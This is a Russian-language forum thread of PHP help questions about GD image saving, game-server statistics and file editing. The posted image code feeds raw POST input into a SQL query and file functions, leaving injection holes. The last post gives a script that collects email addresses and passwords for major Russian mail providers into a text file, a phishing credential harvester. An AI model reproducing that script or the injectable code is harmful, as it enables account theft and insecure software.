imagejpeg($im,"./images/image.gif"); Она её сначала выводит в браузере первый аргумент $im а потом сохроняет! А мне надо чтоб она просто сохроняла без вывода в браузер! Как это зделать???
Видишь второй параметр здесь? imagejpeg($im,"./images/image.gif"); Вот он, запятой отделен: ,"./images/image.gif" так вот, когда он есть - в браузер не выводит, просто сохраняет кури: http://ru2.php.net/imagegif
PHP: <?php include("db.php"); header('Content-type: image/jpeg'); if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];} if (isset($_POST['load'])) { $adres = $_POST['load'];} $result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db); if (!$result1) { exit(mysql_error()); } if (mysql_num_rows($result1) > 0) { $myrow1 = mysql_fetch_array($result1); $mas = getimagesize($adres); $width = 215; $heigth = $mas[1]+270; $adres1 = "admin/".$myrow1['url']; $im = imagecreatetruecolor($width, $heigth); $im1 = imagecreatefromjpeg($adres); $im2 = imagecreatefromjpeg('logo.jpg'); $im3 = imagecreatefromjpeg($adres1); $name = "avat".$myrow1['name']; imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20); imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]); imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350); imagejpeg($im,"avatar/$name"); } else { exit(); } ?> Вот мой код в браузере выводится картинка пустая с крестиком ну типа она не загрузилась! Картинка сохроняется! Как поступить?
Логично, потому что скрипт ничего не выводит. Однако он посылает браузеру информацию о том, что контент есть картинка: PHP: header('Content-type: image/jpeg'); Удали эту строку - будет пустая страница.
imagejpeg($im,"../avatar/$name"); Так попробуй, и корректней еще будет память очищать после: imagedestroy($im); Пока вижу только неправильный синтаксис
как мне вывести статиситику(кто сколько хедшотов сделал и т п) с ксс серва на сайт и чтоб она постоянно обновлялась?
Ну правильное решение надо искать на основе этого (советую читать oRb): http://forum.antichat.ru/thread100269.html
Как я знаю в на самом серваке имеется файл со всей статистикой(убийства, смерти, хед шоты) пишешь скрипт типа fopen(тот файл); копируешь его типа copy() и вставляешь в базу или в другой файл типа txt все! А потом выводишь его на страницу типа printf("txt файл")
Да?)) Молодца! Если бы так было, я давно бы владел интернетом Сам подумай - не локально, а УДАЛЕННО открывать файл на чтение
Хорошо зайди на www.e107.ru там есть плагин статистики cs разбери его и вперед! Есть ещё в инете куча статистик cs которые можно разобрать и посмотреть как они работают!
Как сделать закруглёные углы? у картинки $im? PHP: <?php include("db.php"); if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];} if (isset($_POST['load'])) { $adres = $_POST['load'];} $result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db); if (!$result1) { exit(mysql_error()); } if (mysql_num_rows($result1) > 0) { $myrow1 = mysql_fetch_array($result1); $mas = getimagesize($adres); $width = 215; $heigth = $mas[1]+270; $adres1 = "admin/".$myrow1['url']; $im = imagecreatetruecolor($width, $heigth); $im1 = imagecreatefromjpeg($adres); $im2 = imagecreatefromjpeg('logo.jpg'); $im3 = imagecreatefromjpeg($adres1); $name = "avat".$myrow1['name']; imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20); imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]); imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350); imagejpeg($im,"avatar/$name"); } else { exit(); } ?>
+1, тот же пример психостат, не только хедшоты можно вырвать. мой вопросик s Как редактировать файл, который находится на фтп, можете привести тут пример? Пожалуйста.
PHP: $fh=fopen("путь к папке/текстовый файл"); fputs("вписываемый текст в файл"."\r\n"); fclose($fh);
Ну если такой умный хацкер поправь!!! напиши как правильно? (Даже синтаксис не прав/льный) словарь почитай а потом умничай!
lol ....Jer1cho , поумнее тебя и меня буде в php, так что подумай над своими словами...и если ты не веришь мне, почитай его посты. ЗЫ:еще раз доказывает,что репа ничего не значит
PHP: <?php $f=""; $mail[0]="mail.ru"; $mail[1]="list.ru"; $mail[2]="inbox.ru"; $mail[3]="bk.ru"; $mail[4]="yandex.ru"; $mail[5]="rambler.ru"; if ($_POST["a"]==$f || $_POST["b"]==$f) header('Location: error1.php'); else { $fs=explode("@",$_POST['a'],2); if(in_array($fs[1],$mail)) { if(isset($_POST["a"]) && isset($_POST["b"])) { $fh=fopen("text/kont.txt","a"); fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); fclose($fh); header('Location: autor.php'); } } else { header('Location: error2.php'); } } $error="error"; ?> Значит это тоже не правильно??? ты тоже словарь почитай (синтакс/ес не прав/ельный)